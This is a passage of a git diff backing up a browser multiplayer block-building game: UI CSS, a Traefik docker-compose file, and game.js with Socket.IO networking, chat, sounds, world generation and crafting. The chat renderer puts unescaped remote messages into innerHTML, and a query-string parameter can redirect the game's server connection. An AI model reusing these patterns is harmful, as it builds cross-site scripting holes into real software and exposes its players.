+#inventoryPanel { display:none; position:absolute; left:50%; top:50%; transform: translate(-50%, -50%); + width: 420px; max-width: 90%; background: rgba(10,10,12,0.92); border:2px solid rgba(255,255,255,0.85); + border-radius:14px; pointer-events:auto; padding:12px; z-index: 100; } +#inventoryPanel .top { display:flex; justify-content:space-between; align-items:center; color:#fff; margin-bottom:10px; } +#inventoryGrid { display: grid; grid-template-columns: repeat(6, 1fr); gap: 6px; margin-top: 10px; } +.inv-slot { width: 48px; height: 48px; border: 2px solid rgba(255,255,255,0.22); border-radius: 8px; + position: relative; overflow: hidden; cursor: pointer; background: rgba(255,255,255,0.07); + display: flex; align-items: center; justify-content: center; font-size: 24px; } +.inv-slot.sel { border-color: #f1c40f; box-shadow: 0 0 0 2px rgba(241,196,15,0.18) inset; } +.inv-count { position: absolute; right: 3px; bottom: 1px; font-size: 12px; color: #fff; + font-weight: 900; text-shadow: 1px 1px 0 #000; background: rgba(0,0,0,0.5); padding: 1px 3px; border-radius: 4px; } +#craftPanel .top { display:flex; justify-content:space-between; align-items:center; color:#fff; margin-bottom:10px; } +#craftPanel .close { background:#c0392b; border:none; color:#fff; font-weight:900; padding:8px 10px; border-radius:10px; cursor:pointer; } +.recipe { display:flex; align-items:center; gap:10px; padding:10px; border-radius:12px; + background: rgba(255,255,255,0.06); border:1px solid rgba(255,255,255,0.10); margin-bottom:8px; } +.ricon { width:32px; height:32px; border-radius:8px; background-size:cover; image-rendering:pixelated; } +.rinfo { flex:1; } +.rname { color:#fff; font-weight:900; font-size:14px; } +.rcost { color:#bbb; font-size:11px; line-height:1.25; } +.rcraft { background:#2ecc71; border:none; color:#fff; font-weight:900; padding:8px 10px; border-radius:10px; cursor:pointer; } +.rcraft:disabled { background:#444; color:#888; cursor:not-allowed; } + +/* Controls buttons */ +.cbtn { position:absolute; top:50%; transform:translateY(-50%); width:74px; height:74px; border-radius:14px; + background:#333; border:3px solid #555; color:#fff; font-size:32px; display:flex; align-items:center; justify-content:center; + box-shadow:0 7px 0 #111; pointer-events:auto; } +.cbtn:active { transform:translateY(-46%); box-shadow:0 3px 0 #111; background:#444; } +#left { left:18px; } +#right { left:102px; } +#jump { right:18px; background:#d35400; border-color:#e67e22; } + +#death { display:none; position:absolute; inset:0; background: rgba(60,0,0,0.88); + z-index:200; color:#fff; pointer-events:auto; align-items:center; justify-content:center; flex-direction:column; gap:12px; } +#death button { padding:12px 18px; font-size:18px; font-weight:900; border:none; border-radius:12px; cursor:pointer; } diff --git a/backup/20260103_082922/docker-compose.yml b/backup/20260103_082922/docker-compose.yml new file mode 100644 index 0000000..3de5ddb --- /dev/null +++ b/backup/20260103_082922/docker-compose.yml @@ -0,0 +1,27 @@ +name: grechka-game +services: + grechka-game: + build: + context: . + dockerfile: Dockerfile + container_name: grechka-game + restart: unless-stopped + networks: + - shared_network + labels: + # Включаем Traefik для этого сервиса + - "traefik.enable=true" + - "traefik.docker.network=shared_network" + + # HTTPS роутер + - "traefik.http.routers.grechka-game.entrypoints=websecure" + - "traefik.http.routers.grechka-game.rule=Host(`grechka.mkn8n.ru`)" + - "traefik.http.routers.grechka-game.tls=true" + - "traefik.http.routers.grechka-game.tls.certresolver=mytlschallenge" + + # Сервис + - "traefik.http.services.grechka-game.loadbalancer.server.port=80" + +networks: + shared_network: + external: true diff --git a/backup/20260103_082922/game.js b/backup/20260103_082922/game.js new file mode 100644 index 0000000..49d8e40 --- /dev/null +++ b/backup/20260103_082922/game.js @@ -0,0 +1,2614 @@ +(() => { + // ==================== КОНФИГУРАЦИЯ СЕРВЕРА ==================== + // Возможность переопределить сервер через query string + const urlParams = new URLSearchParams(window.location.search); + const SERVER_URL = urlParams.get('server') || 'https://apigrech.mkn8n.ru'; + const TELEGRAM_BOT_USERNAME = 'Grechkacraft_bot'; // Имя бота для share-ссылки + const TELEGRAM_APP_SHORT_NAME = 'minegrechka'; // Короткое имя Mini App + + // Защита от mixed content + if (location.protocol === 'https:' && SERVER_URL.startsWith('http://')) { + console.warn('⚠️ Mixed content warning: page is HTTPS but server URL is HTTP'); + alert('⚠️ Предупреждение: страница загружена по HTTPS, но сервер использует HTTP. Это может вызвать проблемы.'); + } + + // ==================== WORLD ID И ИГРОКА ==================== + let worldId = null; + let playerName = localStorage.getItem('minegrechka_playerName') || null; + + // Запрашиваем имя игрока, если его нет + if (!playerName) { + playerName = prompt('Введите ваше имя для игры:') || 'Игрок'; + localStorage.setItem('minegrechka_playerName', playerName); + console.log('Player name set:', playerName); + } + + // Берём worldId из URL или генерируем новый + console.log('Current URL:', window.location.href); + const worldParam = urlParams.get('world'); + console.log('world param:', worldParam); + + // Проверяем на null, undefined или пустую строку + worldId = (worldParam && worldParam.trim() !== '') ? worldParam : null; + + console.log('worldId after params:', worldId, 'type:', typeof worldId); + + // Если worldId отсутствует - генерируем новый и записываем в URL + if (!worldId) { + worldId = Math.random().toString(36).substring(2, 10); + console.log('Generated worldId:', worldId); + + try { + const newUrl = new URL(window.location.href); + newUrl.searchParams.set('world', worldId); + const newUrlString = newUrl.toString(); + console.log('New URL to set:', newUrlString); + + // Проверяем, поддерживается ли history API + if (typeof window.history !== 'undefined' && typeof window.history.replaceState === 'function') { + window.history.replaceState(null, '', newUrlString); + console.log('URL after replaceState:', window.location.href); + console.log('URL after replaceState (direct check):', window.location.search); + } else { + console.error('History API not supported!'); + } + } catch (e) { + console.error('Error updating URL:', e); + } + + console.log('Generated new worldId for browser:', worldId); + } + + console.log('Final worldId:', worldId, 'Player name:', playerName); + + console.log(`Server URL: ${SERVER_URL}, World ID: ${worldId}`); + + // Обработчик клика на worldId для копирования ссылки + document.getElementById('worldId').onclick = () => { + const shareUrl = new URL(window.location.href); + shareUrl.searchParams.set('world', worldId); + const shareUrlString = shareUrl.toString(); + + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(shareUrlString).then(() => { + alert('Ссылка скопирована!'); + }).catch(() => { + alert('Ссылка на мир:\n' + shareUrlString); + }); + } else { + alert('Ссылка на мир:\n' + shareUrlString); + } + }; + + // ==================== SOCKET.IO КЛИЕНТ ==================== + let socket = null; + let isMultiplayer = false; // Флаг для мультиплеерного режима + const otherPlayers = new Map(); // socket_id -> {x, y, color} + let mySocketId = null; + + // Throttle для отправки позиции (10-20 раз в секунду) + let lastMoveSendTime = 0; + const MOVE_SEND_INTERVAL = 0.05; // 50ms = 20 раз в секунду + let lastSentX = 0, lastSentY = 0; + + function initSocket() { + try { + socket = io(SERVER_URL, { + path: '/socket.io/', + transports: ['websocket', 'polling'] + }); + + socket.on('connect', () => { + console.log(`Connected to server: ${SERVER_URL}, socket.id: ${socket.id}, worldId: ${worldId}`); + mySocketId = socket.id; + isMultiplayer = true; + + // Присоединяемся к миру + socket.emit('join_world', { world_id: worldId, player_name: playerName }); + + // Показываем в UI + worldIdEl.textContent = worldId; + multiplayerStatus.style.display = 'block'; + }); + + socket.on('connect_error', (error) => { + console.error('Socket connection error:', error); + isMultiplayer = false; + }); + + socket.on('disconnect', () => { + console.log('Disconnected from server'); + isMultiplayer = false; + otherPlayers.clear(); + multiplayerStatus.style.display = 'none'; + }); + + // Обработка world_state + socket.on('world_state', (data) => { + console.log('Received world_state:', data); + + // Устанавливаем seed и перегенерируем мир если он изменился + if (data.seed !== undefined && data.seed !== worldSeed) { + const oldSeed = worldSeed; + worldSeed = data.seed; + console.log('World seed changed from', oldSeed, 'to', worldSeed); + + // Очищаем и перегенерируем мир с новым seed + generated.clear(); + grid.clear(); + blocks.length = 0; + placedBlocks = []; + removedBlocks = []; + console.log('World regenerated with new seed:', worldSeed); + } + + // Применяем блоки + if (data.blocks && Array.isArray(data.blocks)) { + for (const block of data.blocks) { + if (block.op === 'set') { + setBlock(block.gx, block.gy, block.t, false); + } else if (block.op === 'remove') { + removeBlock(block.gx, block.gy); + } + } + } + + // Устанавливаем время + if (data.time !== undefined) { + worldTime = data.time; + isNightTime = worldTime > 0.5; + } + + // Если есть spawnPoint от сервера - используем его и генерируем эту позицию + if (data.spawnPoint) { + spawnPoint.x = data.spawnPoint.x; + spawnPoint.y = data.spawnPoint.y; + // Генерируем колонну в точке спавна + const spawnGX = Math.floor(spawnPoint.x / TILE); + genColumn(spawnGX); + console.log('Server spawnPoint received and column generated:', spawnPoint); + } else { + // Если spawnPoint не пришёл от сервера - генерируем безопасную позицию + const startGX = 6; + genColumn(startGX); + const surfaceY = surfaceGyAt(startGX); + spawnPoint.x = startGX * TILE; + spawnPoint.y = (surfaceY - 1) * TILE; + console.log('Generated safe spawn point:', spawnPoint, 'surfaceY:', surfaceY); + } + + // Устанавливаем игрока в точку спавна + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.vx = 0; + player.vy = 0; + player.fallStartY = player.y; + console.log('Player moved to spawn point:', player.x, player.y); + + // Обновляем список игроков + if (data.players && Array.isArray(data.players)) { + otherPlayers.clear(); + for (const p of data.players) { + if (p.socket_id !== mySocketId) { + otherPlayers.set(p.socket_id, { + x: p.x, + y: p.y, + color: getRandomPlayerColor(p.socket_id), + name: p.player_name || 'Игрок' + }); + } + } + // Обновляем счётчик игроков + playerCountEl.textContent = data.players.length; + } + }); + + // Игрок присоединился + socket.on('player_joined', (data) => { + console.log('Player joined:', data.socket_id); + if (data.socket_id !== mySocketId) { + // Генерируем безопасную позицию для нового игрока + const spawnGX = 6; + genColumn(spawnGX); + const surfaceY = surfaceGyAt(spawnGX); + const safeSpawnX = spawnGX * TILE; + const safeSpawnY = (surfaceY - 1) * TILE; + + otherPlayers.set(data.socket_id, { + x: safeSpawnX, + y: safeSpawnY, + color: getRandomPlayerColor(data.socket_id), + name: data.player_name || 'Игрок' + }); + addChatMessage('Система', `Игрок присоединился`); + // Обновляем видимость кнопки сохранения + updateSaveButtonVisibility(); + } + }); + + // Игрок переместился + socket.on('player_moved', (data) => { + if (data.socket_id !== mySocketId && otherPlayers.has(data.socket_id)) { + const p = otherPlayers.get(data.socket_id); + p.x = data.x; + p.y = data.y; + // Обновляем имя, если оно пришло + if (data.player_name) { + p.name = data.player_name; + } + } + }); + + // Игрок покинул + socket.on('player_left', (data) => { + console.log('Player left:', data.socket_id); + otherPlayers.delete(data.socket_id); + addChatMessage('Система', `Игрок покинул игру`); + // Обновляем видимость кнопки сохранения + updateSaveButtonVisibility(); + }); + + // Блок изменён + socket.on('block_changed', (data) => { + if (data.op === 'set') { + setBlock(data.gx, data.gy, data.t, false); + } else if (data.op === 'remove') { + removeBlock(data.gx, data.gy); + } + }); + + // Сообщение в чат + socket.on('chat_message', (data) => { + const senderName = data.socket_id === mySocketId ? 'Вы' : `Игрок ${data.socket_id.substring(0, 6)}`; + addChatMessage(senderName, data.message); + }); + + // Обновление времени + socket.on('time_update', (data) => { + if (data.time !== undefined) { + worldTime = data.time; + isNightTime = worldTime > 0.5; + } + }); + + } catch (e) { + console.error('Error initializing socket:', e); + isMultiplayer = false; + } + } + + // Генерация случайного цвета для игрока на основе socket_id + function getRandomPlayerColor(socketId) { + const colors = ['#e74c3c', '#3498db', '#2ecc71', '#f39c12', '#9b59b6', '#1abc9c', '#e91e63', '#00bcd4']; + let hash = 0; + for (let i = 0; i < socketId.length; i++) { + hash = ((hash << 5) - hash) + socketId.charCodeAt(i); + hash = hash & hash; + } + return colors[Math.abs(hash) % colors.length]; + } + + // Отправка позиции игрока (с throttle) + function sendPlayerPosition() { + if (!isMultiplayer || !socket || !socket.connected) return; + + const now = performance.now() / 1000; + if (now - lastMoveSendTime < MOVE_SEND_INTERVAL) return; + + // Отправляем только если позиция изменилась + const dx = Math.abs(player.x - lastSentX); + const dy = Math.abs(player.y - lastSentY); + if (dx < 1 && dy < 1) return; + + lastMoveSendTime = now; + lastSentX = player.x; + lastSentY = player.y; + + socket.emit('player_move', { x: player.x, y: player.y, player_name: playerName }); + } + + // Отправка изменения блока + function sendBlockChange(gx, gy, t, op) { + if (!isMultiplayer || !socket || !socket.connected) return; + + socket.emit('block_change', { gx, gy, t, op }); + } + + // ==================== ЧАТ ==================== + const chatMessages = []; + const MAX_CHAT_MESSAGES = 20; + + function addChatMessage(sender, message) { + const time = new Date().toLocaleTimeString('ru-RU', { hour: '2-digit', minute: '2-digit' }); + chatMessages.push({ sender, message, time }); + if (chatMessages.length > MAX_CHAT_MESSAGES) { + chatMessages.shift(); + } + renderChatMessages(); + } + + function renderChatMessages() { + const chatMessagesEl = document.getElementById('chatMessages'); + if (!chatMessagesEl) return; + + chatMessagesEl.innerHTML = chatMessages.map(m => + `
${m.time} ${m.sender}: ${m.message}
` + ).join(''); + + // Прокручиваем вниз + chatMessagesEl.scrollTop = chatMessagesEl.scrollHeight; + } + + function sendChatMessage(message) { + if (!message || message.trim() === '') return; + + if (isMultiplayer && socket && socket.connected) { + socket.emit('chat_message', { message: message.trim() }); + } else { + addChatMessage('Вы', message.trim()); + } + } + + // ==================== ПОДЕЛИТЬСЯ МИРОМ ==================== + function shareWorld() { + const shareUrl = new URL(window.location.href); + shareUrl.searchParams.set('world', worldId); + const shareUrlString = shareUrl.toString(); + + // Копируем в буфер обмена + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(shareUrlString).then(() => { + alert('Ссылка скопирована!'); + }).catch(() => { + alert('Ссылка на мир:\n' + shareUrlString); + }); + } else { + alert('Ссылка на мир:\n' + shareUrlString); + } + } + + // ==================== ИНИЦИАЛИЗАЦИЯ UI ==================== + let chatOpen = false; + + document.getElementById('chatToggle').onclick = () => { + playSound('click'); + chatOpen = !chatOpen; + document.getElementById('chatPanel').style.display = chatOpen ? 'block' : 'none'; + if (chatOpen) { + document.getElementById('chatInput').focus(); + } + }; + + document.getElementById('chatClose').onclick = () => { + playSound('click'); + chatOpen = false; + document.getElementById('chatPanel').style.display = 'none'; + }; + + document.getElementById('chatSend').onclick = () => { + const input = document.getElementById('chatInput'); + sendChatMessage(input.value); + input.value = ''; + }; + + document.getElementById('chatInput').addEventListener('keypress', (e) => { + if (e.key === 'Enter') { + sendChatMessage(e.target.value); + e.target.value = ''; + } + }); + + // ==================== ИНИЦИАЛИЗАЦИЯ СОКЕТА ==================== + // Инициализируем socket + initSocket(); + + // ==================== ЗВУКОВОЙ ДВИЖОК ==================== + const sounds = {}; + function loadSound(id, src) { + const audio = new Audio(); + audio.src = src; + audio.volume = 0.3; + sounds[id] = audio; + } + + // Загрузка звуков + loadSound('splash', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//splash.mp3'); + loadSound('sand1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//sand1.mp3'); + loadSound('snow1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//snow1.mp3'); + loadSound('stone1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//stone1.mp3'); + loadSound('wood1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//wood1.mp3'); + loadSound('cloth1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//cloth1.mp3'); + loadSound('fire', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//fire.mp3'); + loadSound('hit1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//hit1.mp3'); + loadSound('attack', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//attack.mp3'); + loadSound('hurt_chicken', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//hurt1_chicken.mp3'); + loadSound('stone_build', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//stone1%20(1).mp3'); + loadSound('wood_build', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//wood1%20(1).mp3'); + loadSound('click', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//click.mp3'); + loadSound('explode1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//explode1.mp3'); + loadSound('glass1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//glass1.mp3'); + loadSound('eat1', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//eat1.mp3'); + loadSound('step', 'https://supamg.mkn8n.ru/storage/v1/object/public/sounds//sand2.mp3'); + + function playSound(id) { + if(sounds[id]) { + sounds[id].currentTime = 0; + sounds[id].play().catch(e => console.error('Sound error:', e)); + } + } + + // Играем звук при прыжке + const gameEl = document.getElementById('game'); + const canvas = document.getElementById('c'); + const ctx = canvas.getContext('2d'); + + // offscreen light map (не вставляем в DOM) + const lightC = document.createElement('canvas'); + const lightCtx = lightC.getContext('2d'); + + const dpr = Math.max(1, window.devicePixelRatio || 1); + let W=0, H=0; + + const TILE = 40; + + // Мир + const SEA_GY = 14; // уровень воды (gy) - уменьшил для меньших водоёмов + const BEDROCK_GY = 140; // глубина бедрока (gy), чем больше - тем глубже + const GEN_MARGIN_X = 26; // запас генерации по X (в тайлах) + + const heroImg = new Image(); + heroImg.src = 'https://supamg.mkn8n.ru/storage/v1/object/public/img//grechka.png'; + + // Состояние инвентаря + let showFullInventory = false; + let recentItems = []; // Последние 5 выбранных предметов + + const BLOCKS = { + air: { n:'Воздух', solid:false }, + grass: { n:'Трава', c:'#7cfc00', solid:true }, + dirt: { n:'Грязь', c:'#8b4513', solid:true }, + stone: { n:'Камень', c:'#7f8c8d', solid:true }, + sand: { n:'Песок', c:'#f4d06f', solid:true }, + gravel: { n:'Гравий', c:'#95a5a6', solid:true }, + clay: { n:'Глина', c:'#74b9ff', solid:true }, + wood: { n:'Дерево', c:'#d35400', solid:true }, + planks: { n:'Доски', c:'#e67e22', solid:true }, + ladder: { n:'Лестница',c:'#d35400', solid:false, climbable:true }, + leaves: { n:'Листва', c:'#2ecc71', solid:true }, + glass: { n:'Стекло', c:'rgba(200,240,255,0.25)', solid:true, alpha:0.55 }, + water: { n:'Вода', c:'rgba(52,152,219,0.55)', solid:false, fluid:true }, + coal: { n:'Уголь', c:'#2c3e50', solid:true }, + copper_ore:{ n:'Медь', c:'#e17055', solid:true }, + iron_ore: { n:'Железо', c:'#dcdde1', solid:true }, + gold_ore: { n:'Золото', c:'#f1c40f', solid:true }, + diamond_ore:{n:'Алмаз', c:'#00a8ff', solid:true }, + brick: { n:'Кирпич', c:'#c0392b', solid:true }, + tnt: { n:'TNT', c:'#e74c3c', solid:true, explosive:true }, + campfire: { n:'Костёр', c:'#e67e22', solid:true, lightRadius:190 }, + torch: { n:'Факел', c:'#f9ca24', solid:true, lightRadius:140 }, + bedrock: { n:'Бедрок', c:'#2d3436', solid:true, unbreakable:true }, + flower: { n:'Цветок', c:'#ff4757', solid:false, decor:true }, + bed: { n:'Кровать', c:'#e91e63', solid:true, bed:true }, + boat: { n:'Лодка', c:'#8B4513', solid:false } + }; + + const ITEMS = { + meat: { n:'Сырое мясо', icon:'🥩', food:15 }, + cooked: { n:'Жареное мясо', icon:'🍖', food:45 } + }; + + // Seed мира для детерминированной генерации + // Инициализируем случайным seed, но он будет перезаписан сервером в мультиплеере + let worldSeed = Math.floor(Math.random() * 1000000); + + // Отслеживание изменений мира (для оптимизированного сохранения) + let placedBlocks = []; // [{gx, gy, t}] - блоки, установленные игроком + let removedBlocks = []; // [{gx, gy}] - блоки, удалённые игроком + + // Инструменты + const TOOLS = { + wood_pickaxe: { n:'Деревянная кирка', icon:'⛏️', durability: 60, miningPower: 1, craft: { wood: 3, planks: 2 } }, + stone_pickaxe: { n:'Каменная кирка', icon:'⛏️', durability: 130, miningPower: 2, craft: { wood: 1, stone: 3 } }, + iron_pickaxe: { n:'Железная кирка', icon:'⛏️', durability: 250, miningPower: 3, craft: { wood: 1, iron_ore: 2 } }, + wood_sword: { n:'Деревянный меч', icon:'⚔️', durability: 40, damage: 5, craft: { wood: 2, planks: 1 } }, + stone_sword: { n:'Каменный меч', icon:'⚔️', durability: 100, damage: 8, craft: { wood: 1, stone: 2 } }, + iron_sword: { n:'Железный меч', icon:'⚔️', durability: 200, damage: 12, craft: { wood: 1, iron_ore: 1 } } + }; + + // Текстуры блоков (простые) + const tex = {}; + function makeTex(type) { + const t = BLOCKS[type]; + const c = document.createElement('canvas'); + c.width = 32; c.height = 32; + const g = c.getContext('2d'); + + if (type === 'tnt') { + g.fillStyle='#c0392b'; g.fillRect(0,0,32,32); + g.fillStyle='#fff'; g.fillRect(0,12,32,8); + g.fillStyle='#000'; g.font='bold 10px sans-serif'; g.fillText('TNT',6,20); + return c; + } + if (type === 'campfire') { + g.fillStyle='#5d4037'; g.fillRect(4,26,24,6); + g.fillStyle='#3e2723'; g.fillRect(7,23,18,4); + return c; + } + if (type === 'torch') { + g.fillStyle='#6d4c41'; g.fillRect(14,10,4,18); + g.fillStyle='#f39c12'; g.fillRect(12,6,8,8); + return c; + } + if (type === 'glass') { + g.fillStyle='rgba(200,240,255,0.25)'; g.fillRect(0,0,32,32); + g.strokeStyle='rgba(255,255,255,0.65)'; g.strokeRect(2,2,28,28); + g.beginPath(); g.moveTo(5,27); g.lineTo(27,5); g.stroke(); + return c; + } + if (type === 'water') { + g.fillStyle = t.c; g.fillRect(0,0,32,32); + g.fillStyle = 'rgba(255,255,255,0.08)'; + g.fillRect(0,6,32,2); + return c; + } + if (type === 'bed') { + // Основание кровати + g.fillStyle = '#e91e63'; + g.fillRect(0, 0, 32, 32); + // Подушка + g.fillStyle = '#f8bbd0'; + g.fillRect(2, 2, 14, 14); + // Одеяло + g.fillStyle = '#c2185b'; + g.fillRect(16, 4, 14, 24); + // Детали одеяла + g.fillStyle = '#e91e63'; + g.fillRect(18, 6, 10, 20); + return c; + } + if (type === 'flower') { + g.fillStyle='#2ecc71'; g.fillRect(14,14,4,18); + g.fillStyle=t.c; g.beginPath(); g.arc(16,12,6,0,6.28); g.fill(); + return c; + } + if (type === 'boat') { + // Корпус лодки + g.fillStyle = '#8B4513'; + g.fillRect(2, 12, 28, 8); + // Борта + g.fillStyle = '#A0522D'; + g.fillRect(0, 10, 32, 12); + // Внутренность + g.fillStyle = '#DEB887'; + g.fillRect(4, 14, 24, 4); + // Дно + g.fillStyle = '#654321'; + g.fillRect(2, 20, 28, 4); + return c; + } + if (type === 'ladder') { + // Боковые стойки лестницы + g.fillStyle = '#8B4513'; + g.fillRect(4, 0, 4, 32); + g.fillRect(24, 0, 4, 32); + // Ступени + g.fillStyle = '#A0522D'; + g.fillRect(4, 4, 24, 3); + g.fillRect(4, 12, 24, 3); + g.fillRect(4, 20, 24, 3); + g.fillRect(4, 28, 24, 3); + return c; + } + + g.fillStyle = t.c || '#000'; + g.fillRect(0,0,32,32); + + g.fillStyle = 'rgba(0,0,0,0.10)'; + for (let i=0;i<6;i++) g.fillRect((Math.random()*28)|0, (Math.random()*28)|0, 4,4); + + if (type.endsWith('_ore') || type==='coal') { + g.fillStyle = 'rgba(0,0,0,0.35)'; + for (let i=0;i<4;i++) g.fillRect((Math.random()*24)|0, (Math.random()*24)|0, 6,6); + } + return c; + } + Object.keys(BLOCKS).forEach(k => tex[k] = makeTex(k)); + + // Мир-хранилище + const grid = new Map(); // key "gx,gy" => {gx,gy,t, ...} + const blocks = []; // для рендера/перебора видимых + function k(gx,gy){ return gx+','+gy; } + function getBlock(gx,gy){ return grid.get(k(gx,gy)); } + function hasBlock(gx,gy){ return grid.has(k(gx,gy)); } + function isSolid(gx,gy){ + const b = getBlock(gx,gy); + if(!b || b.dead) return false; + const def = BLOCKS[b.t]; + return !!def.solid && !def.fluid && !def.decor; + } + function setBlock(gx,gy,t, isPlayerPlaced = false){ + const key = k(gx,gy); + if(grid.has(key)) return false; + const b = { gx, gy, t, dead:false, active:false, fuse:0 }; + grid.set(key, b); + blocks.push(b); + + // Отслеживаем блоки, установленные игроком + if(isPlayerPlaced){ + placedBlocks.push({gx, gy, t}); + } + + return true; + } + function removeBlock(gx,gy){ + const key = k(gx,gy); + const b = grid.get(key); + if(!b) return null; + if(BLOCKS[b.t].unbreakable) return null; + grid.delete(key); + b.dead = true; + + // Отслеживаем удалённые блоки + const wasPlayerPlaced = placedBlocks.some(pb => pb.gx === gx && pb.gy === gy); + if(wasPlayerPlaced){ + // Удаляем из placedBlocks + placedBlocks = placedBlocks.filter(pb => !(pb.gx === gx && pb.gy === gy)); + } else { + // Это природный блок - добавляем в removedBlocks + removedBlocks.push({gx, gy}); + } + + return b; + } + + // Физика жидкости + const waterUpdateQueue = new Set(); + let waterUpdateTimer = 0; + const WATER_UPDATE_INTERVAL = 0.05; // Обновляем воду каждые 0.05 секунды + + function updateWaterPhysics(dt){ + waterUpdateTimer += dt; + if(waterUpdateTimer < WATER_UPDATE_INTERVAL) return; + waterUpdateTimer = 0; + + // Ограничиваем количество водных блоков для обработки (оптимизация) + const MAX_WATER_BLOCKS_PER_UPDATE = 50; + let processedCount = 0; + + // Собираем только видимые водные блоки в очередь (оптимизация) + waterUpdateQueue.clear(); + const minGX = Math.floor(camX/TILE) - 10; + const maxGX = Math.floor((camX+W)/TILE) + 10; + const minGY = Math.floor(camY/TILE) - 10; + const maxGY = Math.floor((camY+H)/TILE) + 10; + + for(const b of blocks){ + if(processedCount >= MAX_WATER_BLOCKS_PER_UPDATE) break; + if(!b.dead && b.t === 'water' && + b.gx >= minGX && b.gx <= maxGX && + b.gy >= minGY && b.gy <= maxGY){ + waterUpdateQueue.add(k(b.gx, b.gy)); + processedCount++; + } + } + + // Обновляем воду с ограничением глубины распространения + const processed = new Set(); + const toAdd = []; + const MAX_WATER_DEPTH = 20; // Максимальная глубина распространения воды + + for(const key of waterUpdateQueue){ + if(processed.has(key)) continue; + const b = grid.get(key); + if(!b || b.dead) continue; + processed.add(key); + + const gx = b.gx; + const gy = b.gy; + + // Проверяем глубину - не распространяем воду слишком глубоко + if(gy > SEA_GY + MAX_WATER_DEPTH) continue; + + // Проверяем, можно ли воде упасть вниз + const belowKey = k(gx, gy + 1); + const below = grid.get(belowKey); + + // Внизу пусто - вода создаёт новый блок внизу (но не удаляется сверху) + if(!below || below.dead){ + // Ограничиваем создание новых водных блоков + if(toAdd.length < 20){ // Максимум 20 новых блоков за обновление + toAdd.push({gx, gy: gy + 1, t: 'water'}); + processed.add(belowKey); + } + continue; + } + + // Если внизу не вода и не твёрдый блок - вода может течь вниз + if(!isSolid(gx, gy + 1) && below && below.t !== 'water'){ + if(toAdd.length < 20){ + toAdd.push({gx, gy: gy + 1, t: 'water'}); + processed.add(belowKey); + } + continue; + } + + // Если внизу твёрдый блок или вода - вода растекается горизонтально + // Проверяем левую сторону + const leftKey = k(gx - 1, gy); + const left = grid.get(leftKey); + if(!left || left.dead){ + if(toAdd.length < 20){ + toAdd.push({gx: gx - 1, gy, t: 'water'}); + processed.add(leftKey); + } + continue; + } + + // Проверяем правую сторону + const rightKey = k(gx + 1, gy); + const right = grid.get(rightKey); + if(!right || right.dead){ + if(toAdd.length < 20){ + toAdd.push({gx: gx + 1, gy, t: 'water'}); + processed.add(rightKey); + } + continue; + } + } + + // Применяем изменения (только добавляем новые блоки) + for(const newData of toAdd){ + const key = k(newData.gx, newData.gy); + if(!grid.has(key)){ + const b = { + gx: newData.gx, + gy: newData.gy, + t: newData.t, + dead: false, + active: false, + fuse: 0 + }; + grid.set(key, b); + blocks.push(b); + } + } + + // Очищаем мёртвые блоки из массива + for(let i = blocks.length - 1; i >= 0; i--){ + if(blocks[i].dead){ + blocks.splice(i, 1); + } + } + } + + // Инвентарь + const inv = { + dirt:6, stone:0, sand:0, gravel:0, clay:0, + wood:0, planks:0, ladder:0, leaves:0, coal:0, + copper_ore:0, iron_ore:0, gold_ore:0, diamond_ore:0, + brick:0, glass:0, + tnt:1, campfire:0, torch:0, + meat:0, cooked:0, + wood_pickaxe:0, stone_pickaxe:0, iron_pickaxe:0, + wood_sword:0, stone_sword:0, iron_sword:0, + bed:0, boat:0 + }; + let selected = 'dirt'; + + const RECIPES = [ + { out:'planks', qty:4, cost:{ wood:1 } }, + { out:'ladder', qty:3, cost:{ planks:7 } }, + { out:'torch', qty:2, cost:{ coal:1, planks:1 } }, + { out:'glass', qty:1, cost:{ sand:3 } }, + { out:'brick', qty:1, cost:{ stone:2, clay:1 } }, + { out:'campfire', qty:1, cost:{ wood:1, coal:1 } }, + { out:'tnt', qty:1, cost:{ sand:2, coal:1 } }, + { out:'bed', qty:1, cost:{ wood: 3, planks: 3 } }, + { out:'boat', qty:1, cost:{ wood: 5 } }, + { out:'wood_pickaxe', qty:1, cost:{ wood: 3, planks: 2 } }, + { out:'stone_pickaxe', qty:1, cost:{ wood: 1, stone: 3 } }, + { out:'iron_pickaxe', qty:1, cost:{ wood: 1, iron_ore: 2 } }, + { out:'wood_sword', qty:1, cost:{ wood: 2, planks: 1 } }, + { out:'stone_sword', qty:1, cost:{ wood: 1, stone: 2 } }, + { out:'iron_sword', qty:1, cost:{ wood: 1, iron_ore: 1 } } + ]; + + // UI + const hpEl = document.getElementById('hp'); + const foodEl = document.getElementById('food'); + const sxEl = document.getElementById('sx'); + const syEl = document.getElementById('sy'); + const todEl = document.getElementById('tod'); + const worldIdEl = document.getElementById('worldId'); + const playerCountEl = document.getElementById('playerCount'); + const hotbarEl = document.getElementById('hotbar'); + const craftPanel = document.getElementById('craftPanel'); + const recipesEl = document.getElementById('recipes'); + const deathEl = document.getElementById('death'); + const inventoryPanel = document.getElementById('inventoryPanel'); + const inventoryGrid = document.getElementById('inventoryGrid'); + + // Клик на часы для включения ночи + todEl.style.cursor = 'pointer'; + todEl.onclick = () => { + playSound('click'); + worldTime = 0.6; // Устанавливаем ночь + isNightTime = true; + }; + + function rebuildHotbar(){ + hotbarEl.innerHTML=''; + + // Показываем последние 5 выбранных предметов (если они есть в инвентаре) + const items = recentItems.filter(id => inv[id] > 0).slice(0, 5); + + for(const id of items){ + const s = document.createElement('div'); + s.className = 'slot'+(id===selected?' sel':''); + if(BLOCKS[id]) { + s.style.backgroundImage = 